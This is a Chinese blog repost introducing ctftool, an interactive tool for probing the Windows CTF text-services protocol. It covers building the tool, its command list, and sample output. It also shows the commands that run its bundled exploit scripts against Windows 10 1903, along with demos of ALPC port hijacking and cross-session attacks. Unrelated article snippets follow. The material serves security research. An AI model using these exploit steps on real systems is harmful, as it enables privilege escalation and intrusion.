下列哪个选项不属于命令执行漏洞的危害_Ctftool:一款功能强大的交互式CTF漏洞利用工具...-程序员宅基地

技术标签: 下列哪个选项不属于命令执行漏洞的危害  

6a84489e-491e-eb11-8da9-e4434bdf6706.jpeg

Ctftool是一款交互式的命令行工具,可以帮助安全研究人员对CTF(Windows平台下用于实现文本服务的协议)进行安全测试。在Ctftool的帮助下,安全研究人员可以轻松对Windows内部运行和调试文本输入处理器的复杂问题进行分析,并检测目标Windows系统的安全性。

除此之外,Ctftool还允许研究人员根据自己的需要来编写一些简单的脚本来实现与CTF客户端或服务器端的自动化交互,以及执行简单的模糊测试任务。

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/taviso/ctftool.git

项目构建

注意:如果你不想自己构建项目源码的话,你可以直接访问该项目的Release页面来下载编译好的版本。

我们使用了GNU make和Visual Studio 2019来开发Ctftool,目前该项目仅支持32位版本,但是该工具支持在Windows x86和x64平台上运行。

安装好所有的依赖组件之后,直接在开发者命令行终端中输入“make”命令即可完成项目构建。

这里,我使用的构建工具是一个变种版本的Visual Studio,构建时我只选择了MSVC、MSBuild、CMake和SDK。

这个项目使用了子模块来处理部分依赖,你可以使用下列命令来获取所需的依赖代码:

git submodule update --init --recursive

工具使用

Ctftool目前已在Windows 7、Windows 8和Windows 10上进行了测试,并且支持32位和64位版本。

广大演技人员可以使用“help”命令来查看该工具支持的命令列表,或者输入“help”来查看具体命令的使用方式:

$ ./ctftool.exeAn interactive ctf exploration tool by @taviso.Type "help" for available commands.Most commands require a connection, see "help connect".ctf> helpType `help ` for help with a specific command.Any line beginning with # is considered a comment.help            - List available commands.exit            - Exit the shell.connect         - Connect to CTF ALPC Port.info            - Query server informaiton.scan            - Enumerate connected clients.callstub        - Ask a client to invoke a function.createstub      - Ask a client to instantiate CLSID.hijack          - Attempt to hijack an ALPC server path.sendinput       - Send keystrokes to thread.setarg          - Marshal a parameter.getarg          - Unmarshal a parameter.wait            - Wait for a process and set it as the default thread.thread          - Set the default thread.sleep           - Sleep for specified milliseconds.forget          - Forget all known stubs.stack           - Print the last leaked stack ptr.marshal         - Send command with marshalled parameters.proxy           - Send command with proxy parameters.call            - Send command without appended data.window          - Create and register a message window.patch           - Patch a marshalled parameter.module          - Print the base address of a module.module64        - Print the base address of a 64bit module.editarg         - Change the type of a marshalled parameter.symbol          - Lookup a symbol offset from ImageBase.set             - Change or dump various ctftool parameters.show            - Show the value of special variables you can use.lock            - Lock the workstation, switch to Winlogon desktop.repeat          - Repeat a command multiple times.run             - Run a command.script          - Source a script file.print           - Print a string.consent         - Invoke the UAC consent dialog.reg             - Lookup a DWORD in the registry.gadget          - Find the offset of a pattern in a file.section         - Lookup property of PE section.Most commands require a connection, see "help connect".ctf>

拿到工具之后,我们首先要做的就是建立会话链接,并且查看已连接的客户端:

ctf> connectThe ctf server port is located at \BaseNamedObjects\msctf.serverDefault1NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264ctf> scanClient 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)

接下来,我们就可以通过向服务器端发送或接受命令,来对已连接的客户端进行测试。

漏洞利用

该工具可以用来扫描和发现CTF协议中许多严重的安全问题,如果你想在Windows 10 x64 1903上运行该工具并测试漏洞,可以直接双击运行ctftool.exe,并运行下列命令:

An interactive ctf exploration tool by @taviso.Type "help" for available commands.Most commands require a connection, see "help connect".ctf> script .\scripts\ctf-consent-system.ctf

实际上,漏洞利用代码会分为两个阶段运行,因此我们也可以单独执行这两个阶段的代码。比如说,你可能想要入侵的进程属于不同会话上的同一个用户,此时可以使用connect命令的可选参数。

接下来,你可以建立一条会话链接,选择一个需要入侵的客户端,然后运行下列命令:

ctf> script .\scripts\ctf-exploit-common-win10.ctf

监控劫持

由于CTF协议中的客户端跟服务器端之间不需要身份认证,那么如果攻击者有权限写入\BaseNamedObjects的话,他就可以创建CTF ALPC端口,并伪装成监控器。

此时,攻击者将能够绕过监视器以及所有限制来执行任何操作。

使用“hijack”命令即可实现:

An interactive ctf exploration tool by @taviso.Type "help" for available commands.ctf> hijack Default 1NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ...A a message received        ProcessID: 4352, SearchUI.exe        ThreadId: 4420        WindowID: 00020180NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................A a message received        ProcessID: 4012, explorer.exe        ThreadId: 780        WindowID: 00010110NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X...A a message received        ProcessID: 4012, explorer.exe        ThreadId: 780...

跨会话攻击

在CTF协议中,不存在会话隔离,任何进程都可以跟任意CTF服务器进行连接。Ctftool工具中的“connect”命令支持连接至非默认会话:

An interactive ctf exploration tool by @taviso.Type "help" for available commands.Most commands require a connection, see "help connect".ctf> help connectConnect to CTF ALPC Port.Usage: connect [DESKTOPNAME SESSIONID]Without any parameters, connect to the ctf monitor for the currentdesktop and session. All subsequent commands will use this connectionfor communicating with the ctf monitor.If a connection is already open, the existing connection is closed first.If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitorfor another desktop and session are opened, if it exists.If the specified port does not exist, wait until it does exist. This isso that you can wait for a session that hasn't startedyet in a script.Examples Connect to the monitor for current desktop  ctf> connect Connect to a specific desktop and session.  ctf> connect Default 1Most commands require a connection, see "help connect".

项目地址

Ctftool:https://github.com/taviso/ctftool

参考资料

1、https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html

*参考来源:taviso,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

8084489e-491e-eb11-8da9-e4434bdf6706.gif

精彩推荐

8984489e-491e-eb11-8da9-e4434bdf6706.jpeg

8f84489e-491e-eb11-8da9-e4434bdf6706.png

9584489e-491e-eb11-8da9-e4434bdf6706.png

9b84489e-491e-eb11-8da9-e4434bdf6706.jpeg

a584489e-491e-eb11-8da9-e4434bdf6706.gif

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39994438/article/details/111155385

智能推荐

c语言输出float二进制,8.5.4 按二进制输出float类型数据-程序员宅基地

8.5.4 按二进制输出float类型数据float类型的存储格式并不是C语言规定的,而是由ISO/IEEE Std 753-1985标准规定的。许多CPU都遵守这个标准,但必须明确的是这并不是C语言的特别要求,因为在这个标准之前,C语言就已经存在了。本小节所讨论的只是一种C语言中支持的ISO/IEEE Std 753-1985标准的float类型,这是一种很普遍的情形。粗略地说,在ISO/IE..._c语言按二进制输出浮点数

Tomcat NIO(2)-epoll多路复用-程序员宅基地

在上一篇文章里我们介绍了 tomcat io 主要包含那些 items,在这里我们主要介绍tomcat io 的基础-多路复用。tomcat 服务器(tomcat7以上)默认使用 jav..._tomcat是否用了多路复用

【金融直播干货】观看直播无法听到声音怎么办?_进入直播间看不到主播也听不见声音_欢拓云直播的博客-程序员宅基地

在观看一场精彩的金融直播时,你们有没有遇到过无法听到声音的情况?如果直播是有字幕的,那没有声音也还可以看直播,那没有字幕的除了怒火之外,还要找没有声音的原因。下面小编为大家解释一下直播没有声音的原因吧。第一,播放器的原因。即观众或者主播使用的H5播放器被禁止了声音。第二,观众接收声音设备的原因。即观众在观看时声卡等声音设备出问题而导致的。第三,主播直播时声音采集的原因。即主播在开展直播时,声音采集不正常。第四,主播直播声道设置的原因。即主播在直播时设置了左右声道而导致没有声音。针对以上问题,有_进入直播间看不到主播也听不见声音

【寒假每日一题】剪绳子(个人练习)详细题解+推导证明(第六天)-程序员宅基地

前言今天终于出核酸检测的结果,还好大家都没事,不然怕是要封城了!!!今天还是寒假每日一题,不是软广,不是硬广,只是个人练习,题目来自今日头条2019,笔试题。我发现二分法真的是个神奇的算法,厉害的人万物皆可二分,虚心学习一下。题目有N根绳子,第i根绳子长度为Li,现在需要M根等长的绳子,你可以对N根绳子进行任意裁剪(不能拼接),请你帮忙计算出这M根绳子最长的长度是多少。输入格式第一行包含2个正整数N、M,表示原始绳子的数量和需求绳子的数量。第二行包含N个整数,其中第 i 个整数Li表示第

找出回文数_java找出10000-99999中所有的回文数字,例如12321-程序员宅基地

三、找出10000-99999中所有回文数说明:回文数是正反读都一样的数,如 12321、23432、11111 、22222使用之前学过的数字拆分代码如下:public class huiwenshu{public static void main(String []args){ int a=10000;//初始值 int b=0,c=0,e..._java找出10000-99999中所有的回文数字,例如12321

2017年最优秀的七大开源网络监控工具-程序员宅基地

原文地址:http://blog.csdn.net/xiaobing_122613/article/details/73323017对开源软件的需求持续增长,网络管理工具已经适应了这一浪潮。你不再需要为可能不是你所需的软件支付小额的费用,请留意下(大部分)免费的开源工具,用来监控、配置和映射你的联网设备。这里有几个开源网络监控工具来协助IT管理员完成工作。1. 开源网络

随便推点

1. VMware ESXi 5.5部署与配置_esxi5.5_Jaaavvvaaa的博客-程序员宅基地

VMware ESXi 5.5 部署这里写目录标题VMware ESXi 5.5 部署一、安装要求二、OS镜像下载三、VMware Workstation创建ESXi 虚拟机。四、虚拟机开机引导安装。五、配置ESXi网络六、通过VMware vSphere Client初次配置ESXi1、VMware vSphere Client安装2、登录ESXi3、许可证导入步骤4、ESXI添加存储器步骤5、配置虚拟机网络七、部署一台虚拟机本次演示在VMware Workstation中安装ESXi 5.5一、安_esxi5.5

为什么Android项目mainactivity中有一个变量R_【Android开发入门教程】二.Android应用程序结构分析!...-程序员宅基地

一、新建HelloWorld项目:1、打开Eclipse,点击“File”->"New"->"Project"-Android Application Project"":你的支持,是我们的动力!分享一个 安卓Java 学习交流群,每天分享免费学习资料!(点击传送门!!!)在弹出的“New Android Application”窗体中输入相应的应用名称、项目名称、包名称,并选择相应的...

青柠开车Spring Cloud(六) —— Spring Cloud Gateway与zuul使用对比-程序员宅基地

项目源码github地址补充Gateway简介快速入门Gateway 项目基本配置加入gateway网关配置集成Eureka补充使用网关前项目架构使用网关后项目架构Gateway简介官方文档、官方demospring-cloud-Gateway是spring-cloud的一个子项目。而zuul则是netfl..._为什么使用gateway替代zuu

Adreno gpu相关工具介绍_adreno profiler下载-程序员宅基地

大家好,今天小白给大家简单分享几款Adreno gpu相关的开发工具,欢迎一起交流学习。摘要:今天的移动计算设备,其性能之强大,是我们在几年无法预料到的。在几年前,我们仅仅能在PC和主机平台上享受到3A级的高品质游戏和图形应用。但今天的智能手机中的GPU的性能已经足以同PC和主机平台的GPU相匹敌。现在曾经的大作都被纷纷移植到了手机和平板平台。这不仅仅让消费者大呼过瘾,更让开发...今..._adreno profiler下载

SIGGRAPH 2022--岩鸽彩虹色羽毛渲染阅读笔记:Rendering Iridescent Rock Dove Neck Feathers_siggraph 渲染-程序员宅基地

论文核心观点:①论文作者提出了一个参数化的羽毛双向散射分布函数(BSDF),它封装了微尺度结构(单支羽毛)的统计。它在渲染时被完全评估和并进行了重要性采样。②论文作者通过改变局部阴影框架,在毫米级尺度(羽毛每根毛)上应用BSDF,提供丰富的细节,而不必明确地建模微观结构。③论文作者在模型中加入了彩虹色,减轻了混合头发和彩虹色着色器的需要。④论文作者使用测量和渲染的BSDF以及照片之间的一对一比较来验证作者的模型。..._siggraph 渲染

详细区分offsetX,clientX,pageX,screenX,layerX和X的区别_offsetx layerx-程序员宅基地

详细区分DOM事件中鼠标指针的坐标问题前面博客中我们讲解到了DOM事件的event对象,里边包含了鼠标事件的指针坐标属性。比如event.offsetX,event.clientX,event.pageX,event.screenX等等。现在我们来解析一下这些坐标属性的区别。HTML代码: <div class="box"></div> <div class="box2"></div>CSS代码: .box{ w_offsetx layerx

推荐文章

热门文章

相关标签